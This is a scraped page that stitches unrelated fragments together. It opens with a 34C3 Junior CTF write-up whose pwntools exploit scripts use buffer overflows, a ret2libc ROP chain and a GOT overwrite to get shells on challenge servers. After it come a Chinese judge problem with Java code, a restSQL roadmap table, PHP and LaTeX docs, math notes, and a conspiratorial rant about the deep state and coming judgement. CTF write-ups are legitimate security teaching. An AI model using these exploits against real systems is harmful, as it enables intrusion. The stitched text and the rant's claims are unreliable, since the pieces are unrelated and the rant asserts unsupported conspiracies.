34c3 Junior CTF
1 Exploitaion
1.1 Digital Billboard - easy
We bought a new Digital Billboard for CTF advertisement:
nc <IP_ADDRESS> 1337
Files : billoard
-> % nc localhost 12345 * Digital Billboard * We bought a new digital billboard for CTF advertisement. Type "help" for help :) > help set_text <text> (Set the text displayed on the board) devmode (Developer mode) help (Show this information) modinfo (Show information about the loaded module) > set_text hello Successfully set text to: hello > devmode Developer mode disabled! >
We are given the binary as well as the source files . We can now run the server , but it gives an error that the user challenge does not exit , just add a user called challenge , after that we can run the server and connect it with nc .
The following function is called when devmode option is selected and it checks if the devmode variable have a non zero value and spawn's a shell
void shell(int argc, char* argv[]) { if (bb.devmode) { printf("Developer access to billboard granted.\n"); system("/bin/bash"); } else { printf("Developer mode disabled!\n"); } return; }
We can see that there is a buffer overflow in set_text
function
void set_text(int argc, char* argv[]) { strcpy(bb.text, argv[1]); printf("Successfully set text to: %s\n", bb.text); return; }
it copy's arbitrary length of string to bb.text
struct billboard { char text[256]; char devmode; }; struct billboard bb = { .text="Placeholder", .devmode=0 };
Using this buffer overflow we can overflow the devmode
variable and set it to arbitrary value ,
*
Digital Billboard
*
We bought a new digital billboard for CTF advertisement.
Type "help" for help :)
> set_text AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Successfully set text to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> devmode
Developer access to billboard granted.
cat flag.txt
34C3_w3lc0me_t0_34c3_ctf_H4ve_fuN
1.2 Gift Wrapping Factory - easy/mid
Have trouble wrapping your gifts nicely? Take a look at this new service:
nc <IP_ADDRESS> 1338
Files : wrap
We are given the server source and the server binary and the giftwrapper shared library .
connecting to the server gives the following prompt
* Gift Wrapping Factory * Welcome to the new gift wrapping service! Type "help" for help :) > wrap What is the size of the gift you want to wrap? |> 10 Please send me your gift. |> hello _ _ ((\o/)) .-------//^\\------. | /` `\ | | | | hello | | | ------------------ Wow! This looks so beautiful > modinfo ************************************ Information about the loaded module: Name: Gift Wrapping Factory Base address: 0x7f54c5187000 ************************************ >
wrap takes a input size and read's that much character and prints the result
Let's analyse the function .
0x0000087a b 4154 push r12 0x0000087c 55 push rbp 0x0000087d 53 push rbx 0x0000087e 4883ec70 sub rsp, 0x70 ; 'p' 0x00000882 488d3db70100. lea rdi, str.What_is_the_size_of_the_gift_you_want_to_wrap__n___ ; 0xa40 ; "What is the size of the gift 0x00000889 b800000000 mov eax, 0 0x0000088e e8cdfeffff call sub.printf_40_760 ;[1] 0x00000893 488d742465 lea rsi, [rsp + 0x65] ; 'e' 0x00000898 48c744246500. mov qword [rsp + 0x65], 0 0x000008a1 66c744246d00. mov word [rsp + 0x6d], 0 0x000008a8 c644246f00 mov byte [rsp + 0x6f], 0 0x000008ad ba0a000000 mov edx, 0xa 0x000008b2 bf01000000 mov edi, 1 0x000008b7 e8b4feffff call sym.imp.read ;[2] ; ssize_t read(int fildes, void *buf, size_t nbyte) 0x000008bc 4885c0 test rax, rax ,=< 0x000008bf 0f8eed000000 jle 0x9b2 ;[3] | 0x000008c5 488d7c2465 lea rdi, [rsp + 0x65] ; 'e' | 0x000008ca ba00000000 mov edx, 0 | 0x000008cf be00000000 mov esi, 0 | 0x000008d4 e8a7feffff call sym.imp.strtol ;[4] ; long strtol(const char *str, char**endptr, int base) | 0x000008d9 4889c5 mov rbp, rax | 0x000008dc 6683f863 cmp ax, 0x63 ; 'c' ,==< 0x000008e0 0f8fd6000000 jg 0x9bc ;[5] || 0x000008e6 488d3dab0100. lea rdi, str.Please_send_me_your_gift._n___ ; 0xa98 ; "Please send me your gift.\n |> " || 0x000008ed b800000000 mov eax, 0 || 0x000008f2 e869feffff call sub.printf_40_760 ;[1] || 0x000008f7 4889e6 mov rsi, rsp || 0x000008fa b90c000000 mov ecx, 0xc || 0x000008ff b800000000 mov eax, 0 || 0x00000904 4889f7 mov rdi, rsi || 0x00000907 f348ab rep stosq qword [rdi], rax || 0x0000090a c70700000000 mov dword [rdi], 0 || 0x00000910 0fb7c5 movzx eax, bp || 0x00000913 488d5001 lea rdx, [rax + 1] || 0x00000917 bf01000000 mov edi, 1 || 0x0000091c e84ffeffff call sym.imp.read ;[2] ; ssize_t read(int fildes, void *buf, size_t nbyte) || 0x00000921 83e801 sub eax, 1 [19/1924] || 0x00000924 4863d0 movsxd rdx, eax || 0x00000927 803c140a cmp byte [rsp + rdx], 0xa ; [0xa:1]=0 ,===< 0x0000092b 0f8499000000 je 0x9ca ||| ; JMP XREF from 0x000009ce (sym.wrap) .----> 0x00000931 488d3d800100. lea rdi, str._____________n____________o__________n_.____________________._n_______________________n________ __________ ; 0xab8 ; " _ _ \n ((\\o/)) \n .-------//^\\\\------.\n | /` `\\ |\n | |" :||| 0x00000938 e803feffff call sym.imp.puts ; int puts(const char *s) :||| 0x0000093d 6685ed test bp, bp ,=====< 0x00000940 7e4f jle 0x991 |:||| 0x00000942 0fbfed movsx ebp, bp |:||| 0x00000945 83ed01 sub ebp, 1 |:||| 0x00000948 83e5f0 and ebp, 0xfffffff0 |:||| 0x0000094b 83c510 add ebp, 0x10 |:||| 0x0000094e bb00000000 mov ebx, 0 |:||| 0x00000953 4989e4 mov r12, rsp |:||| ; JMP XREF from 0x0000098f (sym.wrap) .------> 0x00000956 4863f3 movsxd rsi, ebx :|:||| 0x00000959 4c01e6 add rsi, r12 ; 'n' :|:||| 0x0000095c 488d3d3d0200. lea rdi, str.___.16s ; 0xba0 ; " | %.16s" :|:||| 0x00000963 b800000000 mov eax, 0 :|:||| 0x00000968 e8f3fdffff call sym.imp.printf ; int printf(const char *format) :|:||| 0x0000096d be13000000 mov esi, 0x13 :|:||| 0x00000972 29c6 sub esi, eax :|:||| 0x00000974 ba20000000 mov edx, 0x20 ; "@" :|:||| 0x00000979 488d3d290200. lea rdi, str.__c___n ; 0xba9 ; "%*c |\n" :|:||| 0x00000980 b800000000 mov eax, 0 :|:||| 0x00000985 e8d6fdffff call sym.imp.printf ; int printf(const char *format) :|:||| 0x0000098a 83c310 add ebx, 0x10 :|:||| 0x0000098d 39eb cmp ebx, ebp `======< 0x0000098f 75c5 jne 0x956 |:||| ; JMP XREF from 0x00000940 (sym.wrap) `-----> 0x00000991 488d3d900100. lea rdi, str._____________________n______________________n ; 0xb28 ; " | |\n ------------- -- \n" :||| 0x00000998 e8a3fdffff call sym.imp.puts ; int puts(const char *s) :||| 0x0000099d 488d3d0c0200. lea rdi, str.Wow__This_looks_so_beautiful ; 0xbb0 ; "Wow! This looks so beautiful" :||| 0x000009a4 e897fdffff call sym.imp.puts ; int puts(const char *s) .-----> 0x000009a9 4883c470 add rsp, 0x70 ; 'p' ::||| 0x000009ad 5b pop rbx ::||| 0x000009ae 5d pop rbp ::||| 0x000009af 415c pop r12 ::||| 0x000009b1 c3 ret
The function reads the size of the input and use strol
function to convert the string to int , then checks if the number is
larger than 0x63 if it is the text the gift is too large is printed , then reads the gift with read
function with the inputted number
as the size of bytes to be read .
The bug is that we can give a negative number and it will be stored in memory as two's complement form but the read function takes this
as a unsigned integer so -1 -> 0xffffffff in two's complement , will make read
read 0xffffffff bytes of data . now we have a buffer overflow
There is a spawn_shell
function in the library we just need to jump to that location . Since ASLR is turned on we need to calculate the offset.
we can use the modeinfo
function to get the base address if the library can calculate the offset.
from pwn import * # host = "localhost" # port = "12345" host = "<IP_ADDRESS>" port = "1338" offset = 136 shell_offset = 0x9d3 io = remote(host, port) io.recvuntil('> ') io.send("modinfo\n") addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16) + shell_offset io.send("wrap\n") io.recvuntil('|> ') io.send('-1\n') io.recvuntil('|> ') io.send("A" * offset + p64(addr) + "\n") io.interactive() io.close()
-> % python exploit.py [+] Opening connection to <IP_ADDRESS> on port 1338: Done [*] Switching to interactive mode _ _ ((\o/)) .-------//^\\------. | /` `\ | | | | | ------------------ Wow! This looks so beautiful $ cat flag.txt 34C3_be4ut1fUl_sh3ll_g1fts_3v3ryWh3r3
1.3 Gift Wrapping Factory 2.0 - mid/hard
Wrapping gifts is now even more fun! Gift Wrapping Factory 2.0:
nc <IP_ADDRESS> 1341
Files : wrap2
This is challenge is like the previous one the change is that there is no spawn_shell
function we have to do a return-to-libc attack
For that we are given libc that the server uses , and we know the base address of the giftwrapper shared library when it is mapped into the memory using the modinfo function from these knowledge we can find the actual address of the system function in the memory and jump to that address
gdb-peda$ vmmap ... 0x00007f1c93d78000 0x00007f1c93d79000 r-xp /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper2.so 0x00007f1c93d79000 0x00007f1c93f78000 ---p /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper2.so 0x00007f1c93f78000 0x00007f1c93f79000 r--p /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper2.so 0x00007f1c93f79000 0x00007f1c93f7a000 rw-p /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper2.so 0x00007f1c93f7a000 0x00007f1c9410f000 r-xp /lib/x86_64-linux-gnu/libc-2.24.so 0x00007f1c9410f000 0x00007f1c9430f000 ---p /lib/x86_64-linux-gnu/libc-2.24.so 0x00007f1c9430f000 0x00007f1c94313000 r--p /lib/x86_64-linux-gnu/libc-2.24.so 0x00007f1c94313000 0x00007f1c94315000 rw-p /lib/x86_64-linux-gnu/libc-2.24.so ...
The libc is mapped after giftwrapper
and it task 0x202000 of memory address so the base address of libc is baseadds of giftwrapper + 0x202000
-> % r2 libc-2.26.so [0x000212e0]> is~system vaddr=0x0014c330 paddr=0x0014c330 ord=229 fwd=NONE sz=107 bind=GLOBAL type=FUNC name=svcerr_systemerr vaddr=0x00047dc0 paddr=0x00047dc0 ord=595 fwd=NONE sz=45 bind=GLOBAL type=FUNC name=__libc_system vaddr=0x00047dc0 paddr=0x00047dc0 ord=1378 fwd=NONE sz=45 bind=WEAK type=FUNC name=system [0x000212e0]> /+ /bin/sh Using chunksize: 7 /x 2f62696e2f7368 Searching 7 bytes in [0x0-0x1d5da4] hits: 1 Searching 7 bytes in [0x3d6758-0x3dfa60] hits: 0 0x001a3ee0 hit0_0 2f62696e2f7368 [0x000212e0]>
So the offset of system is 0x00047dc0
and the string "/bin/sh" is at offset 0x001a3ee0
.
Now we need to find a gadget to pop the string to rdi
-> % r2 server [0x00400dc0]> /Rl pop rdi 0x00401550: pop rdi; ret; 0x004015c3: pop rdi; ret; [0x00400dc0]>
The final exploit
from pwn import * # host = "localhost" # port = "12345" host = "<IP_ADDRESS>" port = "1341" offset = 136 shell_offset = 0x202000 + 0x001a3ee0 system_offset = 0x202000 + 0x00047dc0 io = remote(host, port) io.recvuntil('> ') io.send("modinfo\n") addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16) io.send("wrap\n") io.recvuntil('|> ') io.send('-1\n') io.recvuntil('|> ') rop = p64(0x0000000000401550) # pop rdi ; ret rop += p64(addr + shell_offset) rop += p64(addr + system_offset) io.send("A" * offset + rop + "\n") io.interactive() io.close()
-> % python exploit.py [+] Opening connection to <IP_ADDRESS> on port 1341: Done [*] Switching to interactive mode _ _ ((\o/)) .-------//^\\------. | /` `\ | | | | | ------------------ Wow! This looks so beautiful $ cat flag.txt 34C3_r0p_wr4pP3d_g1fts_ar3_tH3_b3st_g1fts
1.4 Mate Bottling Plant Control Center - easy/mid
To guarantee a constant supply of Mate we built our own Mate Bottling Plant:
nc <IP_ADDRESS> 1339
File : mete
Running the server
Mate Bottling Plant Control Center .-----------------------------------------------------------------------. | Security advice: | | This industrial application may only be used by qualified employees. | | Non-intended usage may lead to serious damage to the machinery. | ----------------------------------------------------------------------- Type "help" for an overview of the provided functionality. > help formula (Display the used Mate formula) new_formula <i1> <i2> ... (Design a new Mate formula) tap_pos (Show the current position of the filling tap) move_tap <offset> (Move the filling tap by offset) fill <n> (Fill n milliliters of Mate at the current filling tap position) hose_pos (Show the current position of the extraction hose) move_hose <offset> (Move the extraction hose by offset) extract <n> (Extract n milliliters of mate at the current extraction hose position) inspect <p> (Inspect the bottle at position p) exit (Shut down the Mate Bottling Plant) help (Show this information) modinfo (Show information about the loaded module) > tap_pos The filling tap is at position 0x7faa8bbeb0c0. > move_tap 10 > tap_pos The filling tap is at position 0x7faa8bbeb0ca. > formula water mate_tea sugar_syrup citric_acid caffeine carbonic_acid > new_formula test Updated Mate formula. > formula test > fill 4 Succesfully filled 4 milliliters of mate at 0x7faa8bbeb0ca.
By going through the disassembly of all the function we can see that the most important is fill and formula .
the fill command writes the given size of bytes from formula to the memory pointed by the tap , we can move the position of the tap with move_tap
command to anywhere since there is no boundary check for the given offset
0x00000fa2 488b05d71f20. mov rax, qword [reloc.completed.6973_128] ; psition of the tap 0x00000fa9 488b1424 mov rdx, qword [rsp] 0x00000fad 480110 add qword [rax], rdx
Using this we can write to anywhere in the memory , we can write the address of spawn_shell
which is included in the library to a GOTaddress
of printf and when printf is called after that we will be executing the spawnsell function instead .
->% objdump -R server ...<PHONE_NUMBER>602038 R_X86_64_JUMP_SLOT<EMAIL_ADDRESS>0000000000602040 R_X86_64_JUMP_SLOT<EMAIL_ADDRESS>0000000000602048 R_X86_64_JUMP_SLOT<EMAIL_ADDRESS>0000000000602050 R_X86_64_JUMP_SLOT<EMAIL_ADDRESS>...
The GOT address of the printf is 0x0602040
[0x00000cc0]> is~shell vaddr=0x00001293 paddr=0x00001293 ord=055 fwd=NONE sz=21 bind=GLOBAL type=FUNC name=spawn_shell
offset to spawnshell is 0x00001293
Connecting to server few times we can see that the address to tap is not changing now using that we can calculate the amount the tap should be
moved to point to the printf and we can create a formula with the address of the spawn_sell
function and then call fill command to write to
that address.
Final exploit
from pwn import * # host = "localhost" # port = "12345" host = "<IP_ADDRESS>" port = "1339" shell_offset = 0x00001293 io = remote(host, port) io.recvuntil('> ') io.send("modinfo\n") addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16) log.info("addr : " + hex((addr))) io.send("new_formula " + p64(addr + shell_offset) + "\n") io.recvuntil('> ') io.send("move_tap -140203308077184 \n ") io.recvuntil('> ') io.send("fill 6 \n") io.interactive() io.close()
-> % python exploit [+] Opening connection to <IP_ADDRESS> on port 1339: Done [*] addr : 0x7f83a09fc000 [*] Switching to interactive mode Succesfully filled 6 milliliters of mate at 0x602040. $ cat flag.txt 34C3_t0ns_0f_M4t3_w3r3_f1lL3d_t0d4y
2 Reversing
2.1 ARM1 - easy
Can you reverse engineer this code and get the flag?
This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge.
There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant.
If you should need a datasheet, you can get it here.
In case you need to refresh your ARM assembly, check out Azeria's cool articles.
Challenge binary
File : armstage1
-> % strings arm_stage1.bin| grep 34C3 The flag is: 34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs
3 Crypto
3.1 top - easy
Perfectly secure. That's for sure! Or can break it and reveal my secret?
We are given a encryption script and the a file which is encrypted with it
import random import sys import time cur_time = str(time.time()).encode('ASCII') random.seed(cur_time) msg = input('Your message: ').encode('ASCII') key = [random.randrange(256) for _ in msg] c = [m ^ k for (m,k ) in zip(msg + cur_time, key + [0x88]*len(cur_time))] with open(sys.argv[1], "wb") as f: f.write(bytes(c))
What this script do is that first it creates keys using the python random number generator who's seed is the current time . then the input sting
appended with the time is xored with key and 0x88 . Here every time the curtime is xored with 0x88
, thus we are able to extract the time from the secret
After that we just need to generate the key's with this seed and xor with the input gives us the flag .
import random import sys import time with open("/home/nemesis/Downloads/top_secret_86d05414a795935dcdd0f8128f53baa7", "rb") as f: enc = list(f.read()) time = [] for i in enc[len(enc) - 18:len(enc)]: time.append(i ^ 0x88) msg = enc[:len(enc) - 18] random.seed(''.join([chr(i) for i in time])) key = [random.randrange(256) for _ in msg] c = [int(m) ^ int(k) for (m, k) in zip(msg + time, key + [0x88] * len(time))] print(''.join([chr(i) for i in c]))
-> % python3 decrypt.py Here is your flag: 34C3_otp_top_pto_pot_tpo_opt_wh0_car3s¹½¹»¿¹±¹»»¦°¿º°¿½º


Flooded!
问题描述 :
To enable homebuyers to estimate the cost of flood insurance, a real-estate firm provides clients with the elevation of each 10-meter by 10-meter square of land in regions where homes may be purchased. Water from rain, melting snow, and burst water mains will collect first in those squares with the lowest elevations, since water from squares of higher elevation will run downhill. For simplicity, we also assume that storm sewers enable water from high-elevation squares in valleys (completely enclosed by still higher elevation squares) to drain to lower elevation squares, and that water will not be absorbed by the land.
From weather data archives, we know the typical volume of water that collects in a region. As prospective homebuyers, we wish to know the elevation of the water after it has collected in low-lying squares, and also the percentage of the region’s area that is completely submerged (that is, the percentage of 10-meter squares whose elevation is strictly less than the water level). You are to write the program that provides these results.
From weather data archives, we know the typical volume of water that collects in a region. As prospective homebuyers, we wish to know the elevation of the water after it has collected in low-lying squares, and also the percentage of the region’s area that is completely submerged (that is, the percentage of 10-meter squares whose elevation is strictly less than the water level). You are to write the program that provides these results.
输入:
The input consists of a sequence of region descriptions. Each begins with a pair of integers, m and n, each less than 30, giving the dimensions of the rectangular region in 10-meter units. Immediately following are m lines of n integers giving the elevations of the squares in row-major order. Elevations are given in meters, with positive and negative numbers representing elevations above and below sea level, respectively. The final value in each region description is an integer that indicates the number of cubic meters of water that will collect in the region. A pair of zeroes follows the description of the last region.
输出:
For each region, display the region number (1, 2, …), the water level (in meters above or below sea level) and the percentage of the region’s area under water, each on a separate line. The water level and percentage of the region’s area under water are to be displayed accurate to two fractional digits. Follow the output for each region with a blank line.
样例输入:
3 3 25 37 45 51 12 34 94 83 27 10000 0 0
样例输出:
Region 1 Water level is 46.67 meters. 66.67 percent of the region is under water.
解题代码:
//* @author: import java.io.*; import java.util.*; public class Main { public static void main(String args[]) throws Exception { Scanner cin=new Scanner(System.in); int m,n,i,water,tmp; double shen; int r=0; int[] lev; while(true) { m=cin.nextInt(); n=cin.nextInt(); if(m==0&&n==0) break; lev=new int[m*n]; for(i=0;i< n*m;i++) { lev[i]=cin.nextInt(); } water=cin.nextInt(); Arrays.sort(lev); shen=lev[0]; for(i=0;water>0&&i< m*n-1;) { tmp=(i+1)*100*(lev[i+1]-lev[i]); if(tmp>=water) { shen=lev[i]+(double)water/((i+1)*100); water=0; i++; break; } else { water-=tmp; shen=lev[i+1]; i++; } } if(i==(m*n-1)&&water>0) { shen=lev[m*n-1]+(double)water/(m*n*100); i=m*n; } System.out.printf("Region %d\nWater level is %.2f meters.\n%.2f percent of the region is under water.\n\n",++r,shen,100.0*i/m/n); } } }
(adsbygoogle = window.adsbygoogle || []).push({});
还是有些难度的！
第15行代码，/n/n，应该改为nn
补充：此算法求出的不一定是最优解，之前理解错了
真心不错，力顶作者
多谢提醒
说的就是无向图啊，有向图的算法也是类似的
漂亮。佩服。
P.S. unsigned 应该去掉。换行符是n 不是/n
还可以稍微优化一下，
int main() {
int m,n,ai,aj,bi,bj,ak,bk;
while (scanf("%d%d",&m,&n)!=EOF) {
ai = sqrt(m-1);
bi = sqrt(n-1);
aj = (m-ai*ai-1)>>1;
bj = (n-bi*bi-1)>>1;
ak = ((ai+1)*(ai+1)-m)>>1;
bk = ((bi+1)*(bi+1)-n)>>1;
printf("%dn",abs(ai-bi)+abs(aj-bj)+abs(ak-bk));
}
}
mark, 很巧妙的实现！
妈呀！这个Dijkstra模板好长OwQ！
很好。代码比书上的简练！
这一题的代码这样提交时错误的~少考虑了很多情况
为什么暴力求解方法循环到sqrt(n) 就可以了呢
为什么暴力求解方法循环到sqrt(n) 就可以了呢
顶一个 赞一个


Test Signal Strength
Please turn on Javascript to use this utility.
Begin Test
Clear Data
Sent
Rec'd
%
--
--
--
--
Settings
Polling Interval (ms)
# of Requests in Running Total
Request URL
HTTP Type
HEAD
GET
POST
PUT
DELETE
Request Timeout (ms)
Use JSONP


calc/adele works on finite points.
Everyone knows the rationals $\mathbb{Q} = \varinjlim \mathbb{Z}/s$, the residues $\widehat{\mathbb{Z}} = \varprojlim n \backslash \mathbb{Z} = \prod_p \mathbb{Z}_p$, the reals $\mathbb{R} = \mathbb{Q}_\infty$ and the adeles $\mathbb{A_Q} = \left(\widehat{\mathbb{Z}} \times \mathbb{R}\right) \otimes \mathbb{Q}$.
$n \backslash r$ roughly means $r \bmod n$. But precisely speaking, it is an element of $\prod_{p \mid n} \mathbb{Z}_p$ with limited accuracies.
$n \backslash r/s$ means $r/s$ in $\prod_{p \mid n} \mathbb{Z}_p \otimes \mathbb{Q}$ which approximates $\mathbb{A_Q}$.
For example, $2^8 3^3 7 \backslash 7 / 2^{12} 3 \in (\mathbb{Z}_2 \times \mathbb{Z}_3 \times \mathbb{Z}_7) \otimes \mathbb{Q}$ is a representation of an element of $\mathbb{A}_\mathbb{Q}$ with following accuracies:
calc/arch works at infinity point.
It recognizes theory of relativity and quantum mechanics via $4\pi G = c = h/2\pi i = 1$.
It adopts logarithmic notation.
For example, $1.144730.750000\mathrm{X}$ means $\exp(1.144730 + 2 \pi i \times 0.750000)$.
\[ \log x = \int_1^x \frac{ds}{s} \]


| Area |
Feature |
Description |
Impact |
Effort |
| SDK |
Add demo app |
Add AJAX-style demo app |
No framework impact |
Medium |
| Functional |
Order By |
Add support for order by on GETs |
|
Small |
|
Group By |
Add support for SQL Resource queries containing group by (use having instead of where) |
|
Small |
|
Aggregate Queries |
Add support for SQL Resource queries UNION, UNION ALL, INTERSECT and MINUS |
|
Small |
|
Query Case Insensitivity |
Add search case sensitivity param per request. Also make this a global setting. |
Likely database-specific implementation |
Medium |
|
Attribute Validation |
Standard and custom attribute validation on inserts and updates. Declared in SQL Resource definition, e.g. number range, string length or format. |
|
Large |
|
Transaction Management |
Configurable transaction boundaries for multi-object requests |
|
Medium |
|
Optimistic Locking |
Lock optimistically on timestamps or sequence number, i.e. select for update where last_modified = 'xxx' |
|
Large |
|
Statistics |
Implement statistics like number current open requests, historical requests, errors, etc. Expose through HTTP and JMX. |
|
Medium |
|
XML Preferences |
Configurable to return columns as attributes or as elements |
Change Serializer, add restsql.properties property |
Small |
|
Request Schema Validation |
Validate request document if configured |
|
Small |
|
Dynamic Configuration Reloading |
Reload configuration on properties file change (general, database and logging) |
Config class |
Small |
|
More Flexible Classpath |
TriggerManager expects single file/dir in triggers.classpath |
|
Small |
|
Logging Client Hostnames |
Add configurable option to show hostnames instead of IPs in access, error and trace logs |
|
Small |
|
Configurable Cascade Delete |
Child or extension rows are currently deleted explicitly. Make this a configurable option to suppress deletion, per SQL Resource. |
|
Small |
|
Cascade Delete by Query |
Delete by query (non-pk column) will fail with hierarchical in many-to-many or one-to-many if there is no cascasde delete FK instruction in schema. Issue delete from child where fk in (select pk from parent where column = value). |
|
Medium |
|
Extension Updates by Query |
Updates/Deletes by query to extension rows only works if a column in the extension is queried. Use correlated subselect of values to affect extensions. |
|
Medium |
|
Extension Updates when Not Exists |
If extension doesn't exist, updates will fail silently to the extension. If rows affected = 0, convert to insert statement. |
|
Small |
|
Relative path support |
Support relative paths to restsql.properties, e.g. embedded in the restSQL webapp GitHub Issue #8, and in the properties file itself (GitHub Issue #14 ).
|
|
Small |
|
Parameterized database location |
See GitHub Issue #12 |
|
Small |
|
Maven accessibility |
See GitHub Issue #13 |
|
Small |
| Interop |
Broader Database Support |
Test with Oracle |
Oracle's JDBC driver does provide in the meta data the table for each column in a select. Need to create column descriptors in the definition to capture full restSQL functionality, e.g. views. |
Large |
| Performance |
Connection Pooling |
Use JEE container's connection pool |
|
Medium |
|
Improve read response time for XML generation for hierarchical SQL resources |
Build XML natively instead of using objects |
Change to SqlResourceImpl |
Medium |


array imap_getmailboxes ( resource $imap_stream , string $ref , string $pattern )
Gets information on the mailboxes.
Returns an array of objects containing mailbox information. Each object has the attributes name, specifying the full name of the mailbox; delimiter, which is the hierarchy delimiter for the part of the hierarchy this mailbox is in; and attributes. Attributes is a bitmask that can be tested against: LATT_NOINFERIORS - This mailbox contains, and may not contain any "children" (there are no mailboxes below this one). Calling imap_createmailbox() will not work on this mailbox. LATT_NOSELECT - This is only a container, not a mailbox - you cannot open it. LATT_MARKED - This mailbox is marked. This means that it may contain new messages since the last time it was checked. Not provided by all IMAP servers. LATT_UNMARKED - This mailbox is not marked, does not contain new messages. If either MARKED or UNMARKED is provided, you can assume the IMAP server supports this feature for this mailbox.


The \boldmath declaration switches to a bold math italic font; this causes letters, numbers, and most symbols used in math mode to be set in a bold type.
(In LaTeX2e everything in the formula is set in a bold font.)
The \unboldmath declaration switches back to the normal math italic font.
Note, these commands should not be used in math mode. Thus the scope of the declaration must include the math mode expressions to which you want it to apply.
If you want only part of a formula to be bold an \mbox command is useful:
\( Regular formula + \mbox{\boldmath$ Bold part$} = 0 \)
Both \boldmath and \unboldmath commands are fragile.
Related topics
Return to LaTeX Table of Contents


What I’m saying: something big is coming; America is at a major crossroads; there’s two main paths leading away from here.  The other leads away from that, towards sustained prosperity. Sustained prosperity, quite possibly, for eternity.
What I do know about power: DO NOT LOSE IT, whether this is the power of an individual or a group. When you enjoyed a high degree of influence and have wielded your power wisely, you’ve done things that gradually persuade your enemies join in a chorus, creating a narrative that blames you for their problems, despite the fact that most of these problems were merely the cost of doing business for people in power.  They will target you specifically because their narrative demands it and they need set to the record straight so everyone knows who runs this yard. If America loses power, it’s not going to be pretty. So instead of protesting the next war while ironically complaining about people creating prosperity on Wall Street – and quite often developing a criminal level of greed – we’d be alot better served if you’d go briefly Occupy a recruitment office.
“I fear all we have done is to awaken a sleeping giant and fill him with a terrible resolve.” - Isoroku Yamamoto
“Unjust war is to be abhorred; but woe to the nation that does not make ready to hold its own in time of need against all who would harm it! And woe thrice over to the nation in which the average man loses the fighting edge, loses the power to serve as a soldier if the day of need should arise!” - Theodore Roosevelt
We are rapidly losing the military-technological edge that gives us the deterrence that counterintuitively leads to peace. When we lose the economy, we will lose the ability to fight a war. Bringing about the revolution you’ve wanted to for so long will only bring this nation to its knees. You will lose all your social programs along with our nominal or financial independece. And your freedoms? You can forget about those, if we lose ground in foreign policy imperatives.
And if you have a problem with my level of general intelligence, I have some bad news: I’m just the first of millions like me who always would have emerged at this point in history.
The Übermenschen Are Coming. The Next Wave of Evolution Is A Revolution of the MIND
A Neo-Proto-Envangelium Is Coming: All Who Lived In The Modern Era Will Be Judged
The time is coming when Satan’s little head’s gonna pop like a zit. Satan, as in, the embodiment of all evil. All of it. Technology illuminates the world such that evil is all-but-irradiated by data science. Evil doesn’t stand a chance because deception requires slight of hand and requires dissonance in the distribution of information. ALL becomes knowable and thus, almost all becomes known. The degree by which you sought to hide something becomes measurable as well. Therefore, when you try to hide from such cosmic radiance, you only serve to elucidate your cognizance. Please, be my guest. Try to hide all you want.
I can’t wait, personally. While this is all theoretically possible and while the most evil in our world no doubt has a plan in motion to hide their actions throughout history – the demonstration of which is the entire purpose of this article – their plan will fail and they will be judged. Watch in amazement as the most powerful of these evil people are miraculously abandoned. Grab some popcorn and get your Michael Jackson Thriller memes ready.
Neon Genesis Evangelion
This all seems to match closely with the proto-evangelium, which is something like God’s promise that the Serpent will be destroyed. The danger here is that it is the most powerful people who were not truly righteous who will fall. This in itself is another cause for concern because they may not decide to fall gracefully. Those, like the falsely-righteous Pharisees who plotted to have Jesus murdered, will fall most severely. The truly righteous will be saved by the records of their good actions. This was always the intent of religion, was it not? To make man better, by virtue of his actions?
Miscavige’s Scientology leadership would undoubtedly try to disempower/kill their own messiah. Why? To preserve their claim to authority.
So, those who sought to outmaneuvre the intent of those belief systems, while appearing to adhere to them will be … Scooby Doo’d right at the end of our era, much to the surprise of everyone. That the Pharisees tried so hard to adhere to their own laws while outmaneuvring the intent of those laws was what I believe Jesus was trying to fix. This coming “judgement” has nothing to do with Judaism, specifically, but will apply to all mankind. It will be fairly chaotic.
And Now We Get To See Who The Real Villain Was
⌈𐆖⌉ How Do You Stop A Plan To Orchestrate Collapse, Simply to Shield Deep-State Actors Who Want To Enrich Themselves For Eternity?
You set yourself free with the truth. I’m not encouraging immediate action here. Since I’ve written about things like economic collapse that may cause panic, even though I’ve stated: almost none of this is going to happen within the next decade. Furthermore, you can guarantee: if there’s a systemic problem with the world economy and the correct set of powerful people know about it, they will seek to fix that as fast as they possibly can. Quite often, you can count on their greed.
Instead, I want to encourage caching information in indestructable forms so that the people who may be architecting this have to fear the consequences when they realize that none of their duplicitous manipulations will work. The Dead Sea scrolls were hidden for two millenia, but if they had ever been found before the modern era, we would NEVER know what we do today. That is the appropriate response to these Deep State actors. Let them assume command of this situation, while being terrified that, if they don’t work as hard as they can to hold Spaceship Earth together, the entre, ruined world will know the truth, despite what happens in between. That’s kinda what makes them tick anyways. They already operate under the assumption that everyone will tear them apart if they fail. Power always comes with responsibility to deliver along with terrifying consequences when the powerful do not perform their duties. Effectively, this is the terrible price they pay when they do not uphold the Mandate of Heaven.
